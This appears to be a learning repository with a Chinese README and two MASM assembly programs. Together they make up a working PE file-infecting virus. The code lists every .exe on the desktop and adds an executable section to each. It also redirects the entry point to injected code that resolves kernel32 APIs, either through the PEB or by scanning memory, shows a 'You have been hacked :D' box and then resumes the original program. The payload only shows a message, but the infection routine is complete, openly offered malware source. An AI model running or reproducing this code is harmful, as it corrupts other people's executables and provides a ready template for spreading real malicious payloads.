├── README.md ├── Virus_PEB.asm └── Virus_SearchMem.asm /README.md: -------------------------------------------------------------------------------- 1 | # Virus-Learning 2 | 感染PE文件的病毒学习过程 3 | #### 学习技术: 4 | 1. 重定位 5 | 2. API函数地址的获取: 6 | 1)暴力搜内存中kernel32.dll基址 7 | 2)通过PEB获取kernel32.dll基址 8 | 3. 感染PE文件 9 | 4. 磁盘递归搜索技术 10 | #### 主要功能: 11 | 感染桌面上所有的exe后缀文件,使之弹出MessageBox,并继续运行原有程序 12 | #### 注意事项: 13 | 1. 需要修改Desktop和sPath的路径为自己的桌面路径 14 | 2. 如果感染开启了ASLR的文件只会执行感染代码而无法执行原程序,原因是OEP写入问题 15 | 3. 使用MASM编写,编译使用MASMPLUS 16 | 4. 使用暴力搜索内存寻找kernel32.dll基址的程序在WIN10上无法运行,因为WIN10有保护机制,会进入SEH 17 | -------------------------------------------------------------------------------- /Virus_PEB.asm: -------------------------------------------------------------------------------- 1 | .586 2 | 3 | .model flat, stdcall 4 | 5 | option casemap:none 6 | 7 | include windows.inc 8 | include kernel32.inc 9 | includelib kernel32.lib 10 | include user32.inc 11 | includelib user32.lib 12 | 13 | PEGame SEGMENT 14 | fd WIN32_FIND_DATA <> 15 | Dsektop db 'C:/Users/xxx/Desktop/',0 ;修改xxx为对应用户名 16 | dot db '.',0 17 | FilePath db 260 dup(?); 18 | handle dd 0 19 | sPath db 'C:/Users/xxx/Desktop/*.exe',0 ;修改xxx为对应用户名 20 | sTitle db 'By Alex', 0 21 | sMessage db 'Infected Success!',0 22 | 23 | start: 24 | invoke FindFirstFileA,offset sPath,offset fd 25 | mov handle, eax 26 | cmp handle, INVALID_HANDLE_VALUE 27 | jz Exit0 28 | Check: 29 | invoke lstrcmp,offset dot,offset fd.cFileName[0] 30 | jz FindNextDir 31 | and fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY 32 | jnz start 33 | invoke lstrcpy,offset FilePath,offset Dsektop 34 | cmp eax, 0 35 | jz Exit0 36 | invoke lstrcat,offset FilePath,offset fd.cFileName 37 | push offset FilePath 38 | call InfectFile 39 | invoke RtlZeroMemory,offset FilePath,260 40 | invoke lstrcpy,offset FilePath,offset Dsektop 41 | FindNextDir: 42 | invoke FindNextFileA,handle,offset fd 43 | cmp eax, 0 44 | jz Exit0 45 | jmp Check 46 | Exit0: 47 | cmp handle, INVALID_HANDLE_VALUE 48 | jnz CloseFind 49 | ret 50 | CloseFind: 51 | invoke FindClose,offset handle 52 | mov handle, 0 53 | ret 54 | 55 | InfectFile PROC FileName : DWORD 56 | 57 | LOCAL hFile : DWORD 58 | 59 | LOCAL hMapping : DWORD 60 | 61 | LOCAL pMapping : DWORD 62 | 63 | LOCAL ByteWrite: DWORD 64 | 65 | pushad 66 | 67 | push NULL 68 | 69 | push FILE_ATTRIBUTE_NORMAL 70 | 71 | push OPEN_EXISTING 72 | 73 | push NULL 74 | 75 | push FILE_SHARE_READ+FILE_SHARE_WRITE 76 | 77 | push GENERIC_READ+GENERIC_WRITE 78 | 79 | push FileName 80 | 81 | call CreateFile 82 | 83 | cmp eax,-1 84 | 85 | jz IF_Exit 86 | 87 | mov hFile,eax 88 | 89 | 90 | 91 | xor edi , edi ;节约空间 92 | 93 | push edi 94 | 95 | push edi 96 | 97 | push edi 98 | 99 | push PAGE_READWRITE 100 | 101 | push edi 102 | 103 | push hFile 104 | 105 | call CreateFileMapping 106 | 107 | or eax,eax 108 | 109 | jz IF_F3 110 | 111 | mov hMapping , eax 112 | 113 | 114 | 115 | push edi ;edi=0 116 | 117 | push edi 118 | 119 | push edi 120 | 121 | push FILE_MAP_READ+FILE_MAP_WRITE 122 | 123 | push hMapping 124 | 125 | call MapViewOfFile 126 | 127 | or eax,eax 128 | 129 | jz IF_F2 130 | 131 | mov pMapping,eax 132 | 133 | mov esi,eax 134 | 135 | 136 | 137 | assume esi:ptr IMAGE_DOS_HEADER 138 | 139 | cmp [esi].e_magic,IMAGE_DOS_SIGNATURE 140 | 141 | jnz IF_F1 142 | 143 | add esi,[esi].e_lfanew 144 | 145 | assume esi:ptr IMAGE_NT_HEADERS 146 | 147 | cmp [esi].Signature,IMAGE_NT_SIGNATURE ;是PE文件吗? 148 | 149 | jnz IF_F1 150 | 151 | cmp [esi].OptionalHeader.CheckSum,0 ;避免感染!0的文件 152 | 153 | jnz IF_F1 ;合法性判断完毕,开始感染 154 | 155 | cmp word ptr [esi+1ah],0815h ;设置感染标志 156 | 157 | jz IF_F1 158 | 159 | 160 | 161 | mov eax,[esi].OptionalHeader.AddressOfEntryPoint 162 | 163 | add eax,[esi].OptionalHeader.ImageBase 164 | 165 | mov OEP,eax ;保存原入口 166 | 167 | 168 | 169 | movzx eax,[esi].FileHeader.NumberOfSections 170 | 171 | mov ecx,sizeof IMAGE_SECTION_HEADER 172 | 173 | mul ecx 174 | 175 | add eax,sizeof IMAGE_NT_HEADERS 176 | 177 | add eax,esi 178 | 179 | mov edi,eax 180 | 181 | add eax,sizeof IMAGE_SECTION_HEADER 182 | 183 | sub eax,pMapping 184 | 185 | cmp eax,[esi].OptionalHeader.SizeOfHeaders 186 | 187 | ja IF_F1 188 | 189 | 190 | 191 | ;***************************************** 192 | 193 | ;空间允许, ^0^,edi指向新节 194 | 195 | ;***************************************** 196 | 197 | 198 | 199 | inc [esi].FileHeader.NumberOfSections 200 | 201 | 202 | 203 | assume edi:ptr IMAGE_SECTION_HEADER 204 | 205 | mov dword ptr[edi],'cvc.' ;Name 206 | 207 | 208 | 209 | push VEnd-VStart 210 | 211 | pop [edi].Misc.VirtualSize ;VirtualSize 212 | 213 | 214 | 215 | lea eax,[edi-28h].VirtualAddress ;prev VirtualAddress 216 | 217 | mov ebx,[eax] 218 | 219 | lea ecx,[edi-28h].Misc.VirtualSize 220 | 221 | mov eax,[ecx] 222 | 223 | mov ecx,[esi].OptionalHeader.SectionAlignment 224 | 225 | div ecx 226 | 227 | inc eax 228 | 229 | mul ecx 230 | 231 | add eax,ebx 232 | 233 | mov [edi].VirtualAddress,eax ;VirtualAddress 234 | 235 | 236 | 237 | mov eax,[edi].Misc.VirtualSize 238 | 239 | mov ecx,[esi].OptionalHeader.FileAlignment 240 | 241 | div ecx 242 | 243 | inc eax 244 | 245 | mul ecx 246 | 247 | mov [edi].SizeOfRawData,eax ;SizeOfRawData 248 | 249 | 250 | 251 | lea eax,[edi-28h+14h] ;prev PointerToRawData 252 | 253 | mov eax,[eax] 254 | 255 | lea ecx,[edi-28h+10h] ;prev SizeOfRawData 256 | 257 | add eax,[ecx] 258 | 259 | mov [edi].PointerToRawData,eax ;PointerToRawData 260 | 261 | mov [edi].Characteristics,0E0000020h ;可读可写可执行 262 | 263 | 264 | 265 | ;*************************************************************** 266 | 267 | ;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行 268 | 269 | ;*************************************************************** 270 | 271 | push [edi].VirtualAddress 272 | 273 | pop [esi].OptionalHeader.AddressOfEntryPoint 274 | 275 | 276 | 277 | mov eax,[edi].Misc.VirtualSize 278 | 279 | mov ecx,[esi].OptionalHeader.SectionAlignment 280 | 281 | div ecx 282 | 283 | inc eax 284 | 285 | mul ecx 286 | 287 | add eax,[esi].OptionalHeader.SizeOfImage 288 | 289 | mov [esi].OptionalHeader.SizeOfImage,eax 290 | 291 | mov word ptr [esi+1ah],0815h ;写入感染标志 292 | 293 | 294 | 295 | push FILE_BEGIN 296 | 297 | push 0 298 | 299 | push [edi].PointerToRawData 300 | 301 | push hFile 302 | 303 | call SetFilePointer 304 | 305 | 306 | 307 | ;**************************************************************** 308 | 309 | ;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐 310 | 311 | ;**************************************************************** 312 | 313 | push 0 314 | 315 | lea eax,ByteWrite 316 | 317 | push eax 318 | 319 | push [edi].SizeOfRawData 320 | 321 | push offset VStart 322 | 323 | push hFile 324 | 325 | call WriteFile 326 | 327 | 328 | 329 | IF_F1: 330 | 331 | push pMapping 332 | 333 | call UnmapViewOfFile 334 | 335 | IF_F2: 336 | 337 | push hMapping 338 | 339 | call CloseHandle 340 | 341 | IF_F3: 342 | 343 | push hFile 344 | 345 | call CloseHandle 346 | 347 | IF_Exit: 348 | 349 | popad 350 | 351 | ret 4 352 | 353 | InfectFile ENDP 354 | 355 | 356 | 357 | ;*************************************************************** 358 | 359 | ;从VStart->VEnd是将插入到e:\test\m.exe的代码 360 | 361 | ;功能是弹出一个对话框,然后返回原入口执行 362 | 363 | ;*************************************************************** 364 | 365 | 366 | VStart: 367 | 368 | call delta 369 | 370 | delta: 371 | 372 | pop ebp ;得到delta地址 373 | sub ebp, offset delta ;因为在其他程序中基址可能不是默认的所以需要重定位 374 | mov dword ptr [ebp+offset appBase],ebp 375 | getK32Base: 376 | push esi 377 | xor eax, eax 378 | assume fs:nothing 379 | mov eax, DWORD ptr fs:[30h] 380 | mov eax, DWORD ptr [eax+0ch] 381 | mov esi, DWORD ptr [eax+1ch] 382 | lodsd 383 | mov eax, DWORD ptr [eax] 384 | mov eax, DWORD ptr [eax+8h] 385 | pop esi 386 | mov [ebp+offset k32Base],eax ;如果是,就认为找到kernel32的Base值 387 | lea edi, [ebp+offset aGetModuleHandle] 388 | lea esi, [ebp+offset lpApiAddrs] 389 | lop_get: 390 | add DWORD ptr [esi], ebp 391 | lodsd 392 | cmp eax, ebp 393 | jz End_Get 394 | push eax 395 | push dword ptr [ebp+offset k32Base] 396 | call GetApiA ;获取API地址 397 | stosd 398 | jmp lop_get 399 | End_Get: 400 | lea eax, offset u32 401 | add eax, ebp 402 | push eax 403 | call dword ptr [ebp+offset aLoadLibrary] ;在程序空间加载User32.dll 404 | lea EDX,[EBP+OFFSET sMessageBoxA] 405 | push edx 406 | push eax 407 | mov eax,dword ptr [ebp+aGetProcAddress] ;用GetProcAddress获得MessageBoxA的地址 408 | call eax ;调用GetProcAddress 409 | push 40h+1000h ;style 410 | lea ebx, offset sztit ;title 411 | add ebx, ebp 412 | push ebx 413 | lea ebx, offset szMsg0 ;消息内容 414 | add ebx, ebp 415 | push ebx 416 | push 0 417 | call eax ;MessageBox 418 | jmp [EBP+offset OEP] ;回到原OEP 419 | @@: 420 | push 0 421 | call [ebp+aExitProcess] 422 | ;----------------------------------------- 423 | K32_api_retrieve proc Base:DWORD ,sApi:DWORD 424 | push edx ;保存edx 425 | xor eax,eax ;此时esi=sApi 426 | Next_Api: ;edi=AddressOfNames 427 | mov esi,sApi 428 | xor edx,edx 429 | dec edx 430 | Match_Api_name: 431 | mov bl,byte ptr [esi] 432 | inc esi 433 | cmp bl,0 434 | jz foundit 435 | inc edx 436 | push eax 437 | mov eax,dword ptr [edi+eax*4] ;AddressOfNames的指针,递增 438 | add eax,Base ;注意是RVA,一定要加Base值 439 | cmp bl,byte ptr [eax+edx] ;逐字符比较 440 | pop eax 441 | jz Match_Api_name ;继续搜寻 442 | inc eax ;不匹配,下一个api 443 | loop Next_Api 444 | jmp no_exist ;若全部搜完,即未存在 445 | foundit: 446 | pop edx ;edx=AddressOfNameOrdinals 447 | shl eax,1 ;*2得到AddressOfNameOrdinals的指针 448 | movzx eax,word ptr [edx+eax] ;eax返回指向AddressOfFunctions的指针 449 | ret 450 | no_exist: 451 | pop edx 452 | xor eax,eax 453 | ret 454 | 455 | K32_api_retrieve endp 456 | ;----------------------------------------- 457 | GetApiA proc Base:DWORD,sApi:DWORD 458 | local ADDRofFun:DWORD 459 | pushad 460 | mov edi,Base 461 | add edi,IMAGE_DOS_HEADER.e_lfanew 462 | mov edi,DWORD ptr [edi] ;现在edi=off PE_HEADER 463 | add edi,Base ;得到IMAGE_NT_HEADERS的偏移 464 | mov ebx,edi 465 | mov edi,[edi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress] 466 | add edi,Base ;得到edi=IMAGE_EXPORT_DIRECTORY入口 467 | mov eax,DWORD ptr [edi+1ch] ;AddressOfFunctions的地址 468 | add eax,Base 469 | mov ADDRofFun,eax ;ecx=NumberOfNames 470 | mov ecx,DWORD ptr [edi+18h] 471 | mov edx,DWORD ptr [edi+24h] 472 | add edx,Base ;edx=AddressOfNameOrdinals 473 | mov edi,DWORD ptr [edi+20h] 474 | add edi,Base ;edi=AddressOfNames 475 | invoke K32_api_retrieve,Base,sApi 476 | mov ebx,ADDRofFun 477 | shl eax,2 ;要*4才得到偏移 478 | add eax,ebx 479 | mov eax,[eax] 480 | add eax,Base ;加上Base! 481 | mov [esp+7*4],eax ;eax返回api地址 482 | popad 483 | ret 484 | GetApiA endp 485 | 486 | appBase dd ? 487 | k32Base dd ? 488 | lpApiAddrs label near 489 | dd offset sGetModuleHandle 490 | dd offset sGetProcAddress 491 | dd offset sExitProcess 492 | dd offset sLoadLibrary 493 | dd 0 494 | 495 | sGetModuleHandle db "GetModuleHandleA",0 496 | sGetProcAddress db "GetProcAddress",0 497 | sExitProcess db "ExitProcess",0 498 | sLoadLibrary db "LoadLibraryA",0 499 | sMessageBoxA db "MessageBoxA",0 500 | 501 | 502 | aGetModuleHandle dd 0 503 | aGetProcAddress dd 0 504 | aExitProcess dd 0 505 | aLoadLibrary dd 0 506 | aMessageBoxA dd 0 507 | 508 | u32 db "User32.dll",0 509 | k32 db "Kernel32.dll",0 510 | 511 | sztit db "By Alex",0 512 | szMsg0 db "You have been hacked :D",0 513 | OEP dd 0 514 | 515 | VEnd: 516 | 517 | PEGame ends 518 | 519 | end start 520 | 521 | -------------------------------------------------------------------------------- /Virus_SearchMem.asm: -------------------------------------------------------------------------------- 1 | .586 2 | .model flat, stdcall 3 | option casemap:none 4 | 5 | include windows.inc 6 | include kernel32.inc 7 | includelib kernel32.lib 8 | include user32.inc 9 | includelib user32.lib 10 | 11 | PEGame SEGMENT 12 | fd WIN32_FIND_DATA <> 13 | Dsektop db 'C:/Users/XXX/Desktop/',0 ;修改对应desktop的路径 14 | dot db '.',0 15 | FilePath db 260 dup(?); 16 | handle dd 0 17 | sPath db 'C:/Users/XXX/Desktop/*.exe',0 ;修改对应desktop的路径 18 | sTitle db 'By Alex', 0 19 | sMessage db 'Infected Success!',0 20 | 21 | start: 22 | ;********************************************************** 23 | ;磁盘搜索 24 | ;********************************************************** 25 | invoke FindFirstFileA,offset sPath,offset fd 26 | mov handle, eax 27 | cmp handle, INVALID_HANDLE_VALUE 28 | jz Exit0 29 | Check: 30 | invoke lstrcmp,offset dot,offset fd.cFileName[0] ;排除.和..文件夹 31 | jz FindNextDir 32 | and fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY ;如果遍历的为文件夹,则继续遍历 33 | jnz start 34 | invoke lstrcpy,offset FilePath,offset Dsektop 35 | cmp eax, 0 36 | jz Exit0 37 | invoke lstrcat,offset FilePath,offset fd.cFileName ;遍历完将文件名和路径拼接在一起 38 | push offset FilePath 39 | call InfectFile ;将文件路径传入函数,开始感染文件 40 | invoke RtlZeroMemory,offset FilePath,260 41 | invoke lstrcpy,offset FilePath,offset Dsektop 42 | FindNextDir: 43 | invoke FindNextFileA,handle,offset fd 44 | cmp eax, 0 45 | jz Exit0 46 | jmp Check 47 | Exit0: 48 | cmp handle, INVALID_HANDLE_VALUE 49 | jnz CloseFind 50 | ret 51 | CloseFind: 52 | invoke FindClose,offset handle 53 | mov handle, 0 54 | ret 55 | 56 | InfectFile PROC FileName : DWORD 57 | 58 | LOCAL hFile : DWORD 59 | 60 | LOCAL hMapping : DWORD 61 | 62 | LOCAL pMapping : DWORD 63 | 64 | LOCAL ByteWrite: DWORD 65 | 66 | pushad 67 | 68 | push NULL 69 | 70 | push FILE_ATTRIBUTE_NORMAL 71 | 72 | push OPEN_EXISTING 73 | 74 | push NULL 75 | 76 | push FILE_SHARE_READ+FILE_SHARE_WRITE 77 | 78 | push GENERIC_READ+GENERIC_WRITE 79 | 80 | push FileName 81 | 82 | call CreateFile 83 | 84 | cmp eax,-1 85 | 86 | jz IF_Exit 87 | 88 | mov hFile,eax 89 | 90 | 91 | 92 | xor edi , edi ;节约空间 93 | 94 | push edi 95 | 96 | push edi 97 | 98 | push edi 99 | 100 | push PAGE_READWRITE 101 | 102 | push edi 103 | 104 | push hFile 105 | 106 | call CreateFileMapping 107 | 108 | or eax,eax 109 | 110 | jz IF_F3 111 | 112 | mov hMapping , eax 113 | 114 | 115 | 116 | push edi ;edi=0 117 | 118 | push edi 119 | 120 | push edi 121 | 122 | push FILE_MAP_READ+FILE_MAP_WRITE 123 | 124 | push hMapping 125 | 126 | call MapViewOfFile 127 | 128 | or eax,eax 129 | 130 | jz IF_F2 131 | 132 | mov pMapping,eax 133 | 134 | mov esi,eax 135 | 136 | 137 | 138 | assume esi:ptr IMAGE_DOS_HEADER 139 | 140 | cmp [esi].e_magic,IMAGE_DOS_SIGNATURE 141 | 142 | jnz IF_F1 143 | 144 | add esi,[esi].e_lfanew 145 | 146 | assume esi:ptr IMAGE_NT_HEADERS 147 | 148 | cmp [esi].Signature,IMAGE_NT_SIGNATURE ;是PE文件吗? 149 | 150 | jnz IF_F1 151 | 152 | cmp [esi].OptionalHeader.CheckSum,0 ;避免感染!0的文件 153 | 154 | jnz IF_F1 ;合法性判断完毕,开始感染 155 | 156 | cmp word ptr [esi+1ah],0815h ;设置感染标志 157 | 158 | jz IF_F1 159 | 160 | 161 | 162 | mov eax,[esi].OptionalHeader.AddressOfEntryPoint 163 | 164 | add eax,[esi].OptionalHeader.ImageBase 165 | 166 | mov OEP,eax ;保存原入口 167 | 168 | 169 | 170 | movzx eax,[esi].FileHeader.NumberOfSections 171 | 172 | mov ecx,sizeof IMAGE_SECTION_HEADER 173 | 174 | mul ecx 175 | 176 | add eax,sizeof IMAGE_NT_HEADERS 177 | 178 | add eax,esi 179 | 180 | mov edi,eax 181 | 182 | add eax,sizeof IMAGE_SECTION_HEADER 183 | 184 | sub eax,pMapping 185 | 186 | cmp eax,[esi].OptionalHeader.SizeOfHeaders 187 | 188 | ja IF_F1 189 | 190 | 191 | 192 | ;***************************************** 193 | 194 | ;空间允许, ^0^,edi指向新节 195 | 196 | ;***************************************** 197 | 198 | 199 | 200 | inc [esi].FileHeader.NumberOfSections 201 | 202 | 203 | 204 | assume edi:ptr IMAGE_SECTION_HEADER 205 | 206 | mov dword ptr[edi],'cvc.' ;Name 207 | 208 | 209 | 210 | push VEnd-VStart 211 | 212 | pop [edi].Misc.VirtualSize ;VirtualSize 213 | 214 | 215 | 216 | lea eax,[edi-28h].VirtualAddress ;prev VirtualAddress 217 | 218 | mov ebx,[eax] 219 | 220 | lea ecx,[edi-28h].Misc.VirtualSize 221 | 222 | mov eax,[ecx] 223 | 224 | mov ecx,[esi].OptionalHeader.SectionAlignment 225 | 226 | div ecx 227 | 228 | inc eax 229 | 230 | mul ecx 231 | 232 | add eax,ebx 233 | 234 | mov [edi].VirtualAddress,eax ;VirtualAddress 235 | 236 | 237 | 238 | mov eax,[edi].Misc.VirtualSize 239 | 240 | mov ecx,[esi].OptionalHeader.FileAlignment 241 | 242 | div ecx 243 | 244 | inc eax 245 | 246 | mul ecx 247 | 248 | mov [edi].SizeOfRawData,eax ;SizeOfRawData 249 | 250 | 251 | 252 | lea eax,[edi-28h+14h] ;prev PointerToRawData 253 | 254 | mov eax,[eax] 255 | 256 | lea ecx,[edi-28h+10h] ;prev SizeOfRawData 257 | 258 | add eax,[ecx] 259 | 260 | mov [edi].PointerToRawData,eax ;PointerToRawData 261 | 262 | mov [edi].Characteristics,0E0000020h ;可读可写可执行 263 | 264 | 265 | 266 | ;*************************************************************** 267 | 268 | ;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行 269 | 270 | ;*************************************************************** 271 | 272 | push [edi].VirtualAddress 273 | 274 | pop [esi].OptionalHeader.AddressOfEntryPoint 275 | 276 | 277 | 278 | mov eax,[edi].Misc.VirtualSize 279 | 280 | mov ecx,[esi].OptionalHeader.SectionAlignment 281 | 282 | div ecx 283 | 284 | inc eax 285 | 286 | mul ecx 287 | 288 | add eax,[esi].OptionalHeader.SizeOfImage 289 | 290 | mov [esi].OptionalHeader.SizeOfImage,eax 291 | 292 | mov word ptr [esi+1ah],0815h ;写入感染标志 293 | 294 | 295 | 296 | push FILE_BEGIN 297 | 298 | push 0 299 | 300 | push [edi].PointerToRawData 301 | 302 | push hFile 303 | 304 | call SetFilePointer 305 | 306 | 307 | 308 | ;**************************************************************** 309 | 310 | ;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐 311 | 312 | ;**************************************************************** 313 | 314 | push 0 315 | 316 | lea eax,ByteWrite 317 | 318 | push eax 319 | 320 | push [edi].SizeOfRawData 321 | 322 | push offset VStart 323 | 324 | push hFile 325 | 326 | call WriteFile 327 | 328 | 329 | 330 | IF_F1: 331 | 332 | push pMapping 333 | 334 | call UnmapViewOfFile 335 | 336 | IF_F2: 337 | 338 | push hMapping 339 | 340 | call CloseHandle 341 | 342 | IF_F3: 343 | 344 | push hFile 345 | 346 | call CloseHandle 347 | 348 | IF_Exit: 349 | 350 | popad 351 | 352 | ret 4 353 | 354 | InfectFile ENDP 355 | 356 | 357 | 358 | ;*************************************************************** 359 | 360 | ;从VStart->VEnd是将插入到e:\test\m.exe的代码 361 | 362 | ;功能是弹出一个对话框,然后返回原入口执行 363 | 364 | ;*************************************************************** 365 | 366 | 367 | VStart: 368 | 369 | call delta 370 | 371 | delta: 372 | 373 | pop ebp ;得到delta地址 374 | sub ebp, offset delta ;因为在其他程序中基址可能不是默认的所以需要重定位 375 | mov dword ptr [ebp+offset appBase],ebp 376 | mov ecx, [esp] ;返回地址 377 | xor edx, edx 378 | and ecx, 0fffff000h 379 | jmp getK32Base 380 | search: 381 | sub ecx, 1000h 382 | getK32Base: 383 | cmp word ptr [ecx], 5a4dh ;验证文件头是否为MZ 384 | jnz search ;加速检验 385 | mov eax, dword ptr [ecx+IMAGE_DOS_HEADER.e_lfanew] 386 | cmp dword ptr [ecx+eax],4550h ;验证偏移是否为PE标志 387 | jnz search 388 | mov [ebp+offset k32Base], ecx ;如果是,就认为找到kernel32的Base值 389 | lea edi, [ebp+offset aGetModuleHandle] 390 | lea esi, [ebp+offset lpApiAddrs] 391 | lop_get: 392 | add DWORD ptr [esi], ebp 393 | lodsd 394 | cmp eax, ebp 395 | jz End_Get 396 | push eax 397 | push dword ptr [ebp+offset k32Base] 398 | call GetApiA ;获取API地址 399 | stosd 400 | jmp lop_get 401 | End_Get: 402 | lea eax, offset u32 403 | add eax, ebp 404 | push eax 405 | call dword ptr [ebp+offset aLoadLibrary] ;在程序空间加载User32.dll 406 | lea EDX,[EBP+OFFSET sMessageBoxA] 407 | push edx 408 | push eax 409 | mov eax,dword ptr [ebp+aGetProcAddress] ;用GetProcAddress获得MessageBoxA的地址 410 | call eax ;调用GetProcAddress 411 | push 40h+1000h ;style 412 | lea ebx, offset sztit ;title 413 | add ebx, ebp 414 | push ebx 415 | lea ebx, offset szMsg0 ;消息内容 416 | add ebx, ebp 417 | push ebx 418 | push 0 419 | call eax ;MessageBox 420 | jmp [EBP+offset OEP] ;回到原OEP 421 | @@: 422 | push 0 423 | call [ebp+aExitProcess] 424 | ;----------------------------------------- 425 | K32_api_retrieve proc Base:DWORD ,sApi:DWORD 426 | push edx ;保存edx 427 | xor eax,eax ;此时esi=sApi 428 | Next_Api: ;edi=AddressOfNames 429 | mov esi,sApi 430 | xor edx,edx 431 | dec edx 432 | Match_Api_name: 433 | mov bl,byte ptr [esi] 434 | inc esi 435 | cmp bl,0 436 | jz foundit 437 | inc edx 438 | push eax 439 | mov eax,dword ptr [edi+eax*4] ;AddressOfNames的指针,递增 440 | add eax,Base ;注意是RVA,一定要加Base值 441 | cmp bl,byte ptr [eax+edx] ;逐字符比较 442 | pop eax 443 | jz Match_Api_name ;继续搜寻 444 | inc eax ;不匹配,下一个api 445 | loop Next_Api 446 | jmp no_exist ;若全部搜完,即未存在 447 | foundit: 448 | pop edx ;edx=AddressOfNameOrdinals 449 | shl eax,1 ;*2得到AddressOfNameOrdinals的指针 450 | movzx eax,word ptr [edx+eax] ;eax返回指向AddressOfFunctions的指针 451 | ret 452 | no_exist: 453 | pop edx 454 | xor eax,eax 455 | ret 456 | 457 | K32_api_retrieve endp 458 | ;----------------------------------------- 459 | GetApiA proc Base:DWORD,sApi:DWORD 460 | local ADDRofFun:DWORD 461 | pushad 462 | mov edi,Base 463 | add edi,IMAGE_DOS_HEADER.e_lfanew 464 | mov edi,DWORD ptr [edi] ;现在edi=off PE_HEADER 465 | add edi,Base ;得到IMAGE_NT_HEADERS的偏移 466 | mov ebx,edi 467 | mov edi,[edi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress] 468 | add edi,Base ;得到edi=IMAGE_EXPORT_DIRECTORY入口 469 | mov eax,DWORD ptr [edi+1ch] ;AddressOfFunctions的地址 470 | add eax,Base 471 | mov ADDRofFun,eax ;ecx=NumberOfNames 472 | mov ecx,DWORD ptr [edi+18h] 473 | mov edx,DWORD ptr [edi+24h] 474 | add edx,Base ;edx=AddressOfNameOrdinals 475 | mov edi,DWORD ptr [edi+20h] 476 | add edi,Base ;edi=AddressOfNames 477 | invoke K32_api_retrieve,Base,sApi 478 | mov ebx,ADDRofFun 479 | shl eax,2 ;要*4才得到偏移 480 | add eax,ebx 481 | mov eax,[eax] 482 | add eax,Base ;加上Base! 483 | mov [esp+7*4],eax ;eax返回api地址 484 | popad 485 | ret 486 | GetApiA endp 487 | 488 | appBase dd ? 489 | k32Base dd ? 490 | lpApiAddrs label near 491 | dd offset sGetModuleHandle 492 | dd offset sGetProcAddress 493 | dd offset sExitProcess 494 | dd offset sLoadLibrary 495 | dd 0 496 | 497 | sGetModuleHandle db "GetModuleHandleA",0 498 | sGetProcAddress db "GetProcAddress",0 499 | sExitProcess db "ExitProcess",0 500 | sLoadLibrary db "LoadLibraryA",0 501 | sMessageBoxA db "MessageBoxA",0 502 | 503 | 504 | aGetModuleHandle dd 0 505 | aGetProcAddress dd 0 506 | aExitProcess dd 0 507 | aLoadLibrary dd 0 508 | aMessageBoxA dd 0 509 | 510 | u32 db "User32.dll",0 511 | k32 db "Kernel32.dll",0 512 | 513 | sztit db "By Alex",0 514 | szMsg0 db "You have been hacked :D",0 515 | OEP dd 0 516 | 517 | VEnd: 518 | 519 | PEGame ends 520 | 521 | end start 522 | 523 | --------------------------------------------------------------------------------